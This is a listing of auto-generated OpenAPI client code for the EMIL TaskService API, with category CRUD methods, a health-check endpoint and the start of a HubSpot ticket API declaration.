| localVarQueryParameter['search'] = search; | ||
| } | ||
| if (order !== undefined) { | ||
| localVarQueryParameter['order'] = order; | ||
| } | ||
| if (expand !== undefined) { | ||
| localVarQueryParameter['expand'] = expand; | ||
| } | ||
| if (filters !== undefined) { | ||
| localVarQueryParameter['filters'] = filters; | ||
| } | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| (0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter); | ||
| headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers); | ||
| return [2 /*return*/, { | ||
| url: (0, common_1.toPathString)(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * This will partially update a category by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the category | ||
| * @param {string} code | ||
| * @param {PatchCategoryRequestDto} patchCategoryRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| patchCategory: function (code, patchCategoryRequestDto, authorization, options) { | ||
| if (options === void 0) { options = {}; } | ||
| return __awaiter(_this, void 0, void 0, function () { | ||
| var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| // verify required parameter 'code' is not null or undefined | ||
| (0, common_1.assertParamExists)('patchCategory', 'code', code); | ||
| // verify required parameter 'patchCategoryRequestDto' is not null or undefined | ||
| (0, common_1.assertParamExists)('patchCategory', 'patchCategoryRequestDto', patchCategoryRequestDto); | ||
| localVarPath = "/taskservice/v1/categories/{code}" | ||
| .replace("{".concat("code", "}"), encodeURIComponent(String(code))); | ||
| localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL); | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| localVarRequestOptions = __assign(__assign({ method: 'PATCH' }, baseOptions), options); | ||
| localVarHeaderParameter = {}; | ||
| localVarQueryParameter = {}; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)]; | ||
| case 1: | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| _a.sent(); | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| localVarHeaderParameter['Content-Type'] = 'application/json'; | ||
| (0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter); | ||
| headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers); | ||
| localVarRequestOptions.data = (0, common_1.serializeDataIfNeeded)(patchCategoryRequestDto, localVarRequestOptions, configuration); | ||
| return [2 /*return*/, { | ||
| url: (0, common_1.toPathString)(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| }; | ||
| }; | ||
| exports.CategoriesApiAxiosParamCreator = CategoriesApiAxiosParamCreator; | ||
| /** | ||
| * CategoriesApi - functional programming interface | ||
| * @export | ||
| */ | ||
| var CategoriesApiFp = function (configuration) { | ||
| var localVarAxiosParamCreator = (0, exports.CategoriesApiAxiosParamCreator)(configuration); | ||
| return { | ||
| /** | ||
| * This will create a category. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the category | ||
| * @param {CreateCategoryRequestDto} createCategoryRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createCategory: function (createCategoryRequestDto, authorization, options) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var localVarAxiosArgs; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: return [4 /*yield*/, localVarAxiosParamCreator.createCategory(createCategoryRequestDto, authorization, options)]; | ||
| case 1: | ||
| localVarAxiosArgs = _a.sent(); | ||
| return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * This will delete a task category by code. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the category | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| deleteCategory: function (code, authorization, options) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var localVarAxiosArgs; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: return [4 /*yield*/, localVarAxiosParamCreator.deleteCategory(code, authorization, options)]; | ||
| case 1: | ||
| localVarAxiosArgs = _a.sent(); | ||
| return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * Get category by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the category | ||
| * @param {string} code | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the category. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getCategory: function (code, authorization, expand, options) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var localVarAxiosArgs; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: return [4 /*yield*/, localVarAxiosParamCreator.getCategory(code, authorization, expand, options)]; | ||
| case 1: | ||
| localVarAxiosArgs = _a.sent(); | ||
| return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * Retrieves a list of categories. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List categories | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: name, slug</i> | ||
| * @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, name, slug</i> | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listCategories: function (authorization, pageSize, pageToken, filter, search, order, expand, filters, options) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var localVarAxiosArgs; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: return [4 /*yield*/, localVarAxiosParamCreator.listCategories(authorization, pageSize, pageToken, filter, search, order, expand, filters, options)]; | ||
| case 1: | ||
| localVarAxiosArgs = _a.sent(); | ||
| return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * This will partially update a category by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the category | ||
| * @param {string} code | ||
| * @param {PatchCategoryRequestDto} patchCategoryRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| patchCategory: function (code, patchCategoryRequestDto, authorization, options) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var localVarAxiosArgs; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: return [4 /*yield*/, localVarAxiosParamCreator.patchCategory(code, patchCategoryRequestDto, authorization, options)]; | ||
| case 1: | ||
| localVarAxiosArgs = _a.sent(); | ||
| return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| }; | ||
| }; | ||
| exports.CategoriesApiFp = CategoriesApiFp; | ||
| /** | ||
| * CategoriesApi - factory interface | ||
| * @export | ||
| */ | ||
| var CategoriesApiFactory = function (configuration, basePath, axios) { | ||
| var localVarFp = (0, exports.CategoriesApiFp)(configuration); | ||
| return { | ||
| /** | ||
| * This will create a category. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the category | ||
| * @param {CreateCategoryRequestDto} createCategoryRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createCategory: function (createCategoryRequestDto, authorization, options) { | ||
| return localVarFp.createCategory(createCategoryRequestDto, authorization, options).then(function (request) { return request(axios, basePath); }); | ||
| }, | ||
| /** | ||
| * This will delete a task category by code. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the category | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| deleteCategory: function (code, authorization, options) { | ||
| return localVarFp.deleteCategory(code, authorization, options).then(function (request) { return request(axios, basePath); }); | ||
| }, | ||
| /** | ||
| * Get category by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the category | ||
| * @param {string} code | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the category. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getCategory: function (code, authorization, expand, options) { | ||
| return localVarFp.getCategory(code, authorization, expand, options).then(function (request) { return request(axios, basePath); }); | ||
| }, | ||
| /** | ||
| * Retrieves a list of categories. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List categories | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: name, slug</i> | ||
| * @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, name, slug</i> | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listCategories: function (authorization, pageSize, pageToken, filter, search, order, expand, filters, options) { | ||
| return localVarFp.listCategories(authorization, pageSize, pageToken, filter, search, order, expand, filters, options).then(function (request) { return request(axios, basePath); }); | ||
| }, | ||
| /** | ||
| * This will partially update a category by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the category | ||
| * @param {string} code | ||
| * @param {PatchCategoryRequestDto} patchCategoryRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| patchCategory: function (code, patchCategoryRequestDto, authorization, options) { | ||
| return localVarFp.patchCategory(code, patchCategoryRequestDto, authorization, options).then(function (request) { return request(axios, basePath); }); | ||
| }, | ||
| }; | ||
| }; | ||
| exports.CategoriesApiFactory = CategoriesApiFactory; | ||
| /** | ||
| * CategoriesApi - object-oriented interface | ||
| * @export | ||
| * @class CategoriesApi | ||
| * @extends {BaseAPI} | ||
| */ | ||
| var CategoriesApi = /** @class */ (function (_super) { | ||
| __extends(CategoriesApi, _super); | ||
| function CategoriesApi() { | ||
| return _super !== null && _super.apply(this, arguments) || this; | ||
| } | ||
| /** | ||
| * This will create a category. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the category | ||
| * @param {CategoriesApiCreateCategoryRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof CategoriesApi | ||
| */ | ||
| CategoriesApi.prototype.createCategory = function (requestParameters, options) { | ||
| var _this = this; | ||
| return (0, exports.CategoriesApiFp)(this.configuration).createCategory(requestParameters.createCategoryRequestDto, requestParameters.authorization, options).then(function (request) { return request(_this.axios, _this.basePath); }); | ||
| }; | ||
| /** | ||
| * This will delete a task category by code. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the category | ||
| * @param {CategoriesApiDeleteCategoryRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof CategoriesApi | ||
| */ | ||
| CategoriesApi.prototype.deleteCategory = function (requestParameters, options) { | ||
| var _this = this; | ||
| return (0, exports.CategoriesApiFp)(this.configuration).deleteCategory(requestParameters.code, requestParameters.authorization, options).then(function (request) { return request(_this.axios, _this.basePath); }); | ||
| }; | ||
| /** | ||
| * Get category by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the category | ||
| * @param {CategoriesApiGetCategoryRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof CategoriesApi | ||
| */ | ||
| CategoriesApi.prototype.getCategory = function (requestParameters, options) { | ||
| var _this = this; | ||
| return (0, exports.CategoriesApiFp)(this.configuration).getCategory(requestParameters.code, requestParameters.authorization, requestParameters.expand, options).then(function (request) { return request(_this.axios, _this.basePath); }); | ||
| }; | ||
| /** | ||
| * Retrieves a list of categories. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List categories | ||
| * @param {CategoriesApiListCategoriesRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof CategoriesApi | ||
| */ | ||
| CategoriesApi.prototype.listCategories = function (requestParameters, options) { | ||
| var _this = this; | ||
| if (requestParameters === void 0) { requestParameters = {}; } | ||
| return (0, exports.CategoriesApiFp)(this.configuration).listCategories(requestParameters.authorization, requestParameters.pageSize, requestParameters.pageToken, requestParameters.filter, requestParameters.search, requestParameters.order, requestParameters.expand, requestParameters.filters, options).then(function (request) { return request(_this.axios, _this.basePath); }); | ||
| }; | ||
| /** | ||
| * This will partially update a category by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the category | ||
| * @param {CategoriesApiPatchCategoryRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof CategoriesApi | ||
| */ | ||
| CategoriesApi.prototype.patchCategory = function (requestParameters, options) { | ||
| var _this = this; | ||
| return (0, exports.CategoriesApiFp)(this.configuration).patchCategory(requestParameters.code, requestParameters.patchCategoryRequestDto, requestParameters.authorization, options).then(function (request) { return request(_this.axios, _this.basePath); }); | ||
| }; | ||
| return CategoriesApi; | ||
| }(base_1.BaseAPI)); | ||
| exports.CategoriesApi = CategoriesApi; |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios'; | ||
| import { Configuration } from '../configuration'; | ||
| import { RequestArgs, BaseAPI } from '../base'; | ||
| import { InlineResponse200 } from '../models'; | ||
| /** | ||
| * DefaultApi - axios parameter creator | ||
| * @export | ||
| */ | ||
| export declare const DefaultApiAxiosParamCreator: (configuration?: Configuration) => { | ||
| /** | ||
| * Returns the health status of the TaskService service. This endpoint is used to monitor the operational status of the TaskService service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available. | ||
| * @summary Health Check | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| check: (options?: AxiosRequestConfig) => Promise<RequestArgs>; | ||
| }; | ||
| /** | ||
| * DefaultApi - functional programming interface | ||
| * @export | ||
| */ | ||
| export declare const DefaultApiFp: (configuration?: Configuration) => { | ||
| /** | ||
| * Returns the health status of the TaskService service. This endpoint is used to monitor the operational status of the TaskService service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available. | ||
| * @summary Health Check | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| check(options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<InlineResponse200>>; | ||
| }; | ||
| /** | ||
| * DefaultApi - factory interface | ||
| * @export | ||
| */ | ||
| export declare const DefaultApiFactory: (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) => { | ||
| /** | ||
| * Returns the health status of the TaskService service. This endpoint is used to monitor the operational status of the TaskService service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available. | ||
| * @summary Health Check | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| check(options?: any): AxiosPromise<InlineResponse200>; | ||
| }; | ||
| /** | ||
| * DefaultApi - object-oriented interface | ||
| * @export | ||
| * @class DefaultApi | ||
| * @extends {BaseAPI} | ||
| */ | ||
| export declare class DefaultApi extends BaseAPI { | ||
| /** | ||
| * Returns the health status of the TaskService service. This endpoint is used to monitor the operational status of the TaskService service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available. | ||
| * @summary Health Check | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof DefaultApi | ||
| */ | ||
| check(options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<InlineResponse200, any, {}>>; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| var __extends = (this && this.__extends) || (function () { | ||
| var extendStatics = function (d, b) { | ||
| extendStatics = Object.setPrototypeOf || | ||
| ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || | ||
| function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; }; | ||
| return extendStatics(d, b); | ||
| }; | ||
| return function (d, b) { | ||
| if (typeof b !== "function" && b !== null) | ||
| throw new TypeError("Class extends value " + String(b) + " is not a constructor or null"); | ||
| extendStatics(d, b); | ||
| function __() { this.constructor = d; } | ||
| d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); | ||
| }; | ||
| })(); | ||
| var __assign = (this && this.__assign) || function () { | ||
| __assign = Object.assign || function(t) { | ||
| for (var s, i = 1, n = arguments.length; i < n; i++) { | ||
| s = arguments[i]; | ||
| for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) | ||
| t[p] = s[p]; | ||
| } | ||
| return t; | ||
| }; | ||
| return __assign.apply(this, arguments); | ||
| }; | ||
| var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) { | ||
| function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } | ||
| return new (P || (P = Promise))(function (resolve, reject) { | ||
| function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } | ||
| function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } | ||
| function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } | ||
| step((generator = generator.apply(thisArg, _arguments || [])).next()); | ||
| }); | ||
| }; | ||
| var __generator = (this && this.__generator) || function (thisArg, body) { | ||
| var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g; | ||
| return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; | ||
| function verb(n) { return function (v) { return step([n, v]); }; } | ||
| function step(op) { | ||
| if (f) throw new TypeError("Generator is already executing."); | ||
| while (g && (g = 0, op[0] && (_ = 0)), _) try { | ||
| if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; | ||
| if (y = 0, t) op = [op[0] & 2, t.value]; | ||
| switch (op[0]) { | ||
| case 0: case 1: t = op; break; | ||
| case 4: _.label++; return { value: op[1], done: false }; | ||
| case 5: _.label++; y = op[1]; op = [0]; continue; | ||
| case 7: op = _.ops.pop(); _.trys.pop(); continue; | ||
| default: | ||
| if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } | ||
| if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } | ||
| if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } | ||
| if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } | ||
| if (t[2]) _.ops.pop(); | ||
| _.trys.pop(); continue; | ||
| } | ||
| op = body.call(thisArg, _); | ||
| } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } | ||
| if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; | ||
| } | ||
| }; | ||
| var __importDefault = (this && this.__importDefault) || function (mod) { | ||
| return (mod && mod.__esModule) ? mod : { "default": mod }; | ||
| }; | ||
| Object.defineProperty(exports, "__esModule", { value: true }); | ||
| exports.DefaultApi = exports.DefaultApiFactory = exports.DefaultApiFp = exports.DefaultApiAxiosParamCreator = void 0; | ||
| var axios_1 = __importDefault(require("axios")); | ||
| // Some imports not used depending on template conditions | ||
| // @ts-ignore | ||
| var common_1 = require("../common"); | ||
| // @ts-ignore | ||
| var base_1 = require("../base"); | ||
| // URLSearchParams not necessarily used | ||
| // @ts-ignore | ||
| var url_1 = require("url"); | ||
| var FormData = require('form-data'); | ||
| /** | ||
| * DefaultApi - axios parameter creator | ||
| * @export | ||
| */ | ||
| var DefaultApiAxiosParamCreator = function (configuration) { | ||
| var _this = this; | ||
| return { | ||
| /** | ||
| * Returns the health status of the TaskService service. This endpoint is used to monitor the operational status of the TaskService service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available. | ||
| * @summary Health Check | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| check: function (options) { | ||
| if (options === void 0) { options = {}; } | ||
| return __awaiter(_this, void 0, void 0, function () { | ||
| var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions; | ||
| return __generator(this, function (_a) { | ||
| localVarPath = "/taskservice/health"; | ||
| localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL); | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| localVarRequestOptions = __assign(__assign({ method: 'GET' }, baseOptions), options); | ||
| localVarHeaderParameter = {}; | ||
| localVarQueryParameter = {}; | ||
| (0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter); | ||
| headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers); | ||
| return [2 /*return*/, { | ||
| url: (0, common_1.toPathString)(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }]; | ||
| }); | ||
| }); | ||
| }, | ||
| }; | ||
| }; | ||
| exports.DefaultApiAxiosParamCreator = DefaultApiAxiosParamCreator; | ||
| /** | ||
| * DefaultApi - functional programming interface | ||
| * @export | ||
| */ | ||
| var DefaultApiFp = function (configuration) { | ||
| var localVarAxiosParamCreator = (0, exports.DefaultApiAxiosParamCreator)(configuration); | ||
| return { | ||
| /** | ||
| * Returns the health status of the TaskService service. This endpoint is used to monitor the operational status of the TaskService service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available. | ||
| * @summary Health Check | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| check: function (options) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var localVarAxiosArgs; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: return [4 /*yield*/, localVarAxiosParamCreator.check(options)]; | ||
| case 1: | ||
| localVarAxiosArgs = _a.sent(); | ||
| return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| }; | ||
| }; | ||
| exports.DefaultApiFp = DefaultApiFp; | ||
| /** | ||
| * DefaultApi - factory interface | ||
| * @export | ||
| */ | ||
| var DefaultApiFactory = function (configuration, basePath, axios) { | ||
| var localVarFp = (0, exports.DefaultApiFp)(configuration); | ||
| return { | ||
| /** | ||
| * Returns the health status of the TaskService service. This endpoint is used to monitor the operational status of the TaskService service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available. | ||
| * @summary Health Check | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| check: function (options) { | ||
| return localVarFp.check(options).then(function (request) { return request(axios, basePath); }); | ||
| }, | ||
| }; | ||
| }; | ||
| exports.DefaultApiFactory = DefaultApiFactory; | ||
| /** | ||
| * DefaultApi - object-oriented interface | ||
| * @export | ||
| * @class DefaultApi | ||
| * @extends {BaseAPI} | ||
| */ | ||
| var DefaultApi = /** @class */ (function (_super) { | ||
| __extends(DefaultApi, _super); | ||
| function DefaultApi() { | ||
| return _super !== null && _super.apply(this, arguments) || this; | ||
| } | ||
| /** | ||
| * Returns the health status of the TaskService service. This endpoint is used to monitor the operational status of the TaskService service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available. | ||
| * @summary Health Check | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof DefaultApi | ||
| */ | ||
| DefaultApi.prototype.check = function (options) { | ||
| var _this = this; | ||
| return (0, exports.DefaultApiFp)(this.configuration).check(options).then(function (request) { return request(_this.axios, _this.basePath); }); | ||
| }; | ||
| return DefaultApi; | ||
| }(base_1.BaseAPI)); | ||
| exports.DefaultApi = DefaultApi; |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios'; | ||
| import { Configuration } from '../configuration'; | ||
| import { RequestArgs, BaseAPI } from '../base'; | ||
| import { CreateHubSpotTicketRequestDto } from '../models'; | ||
| import { CreateHubSpotTicketResponseClass } from '../models'; | ||
| /** | ||
| * HubSpotApi - axios parameter creator | ||
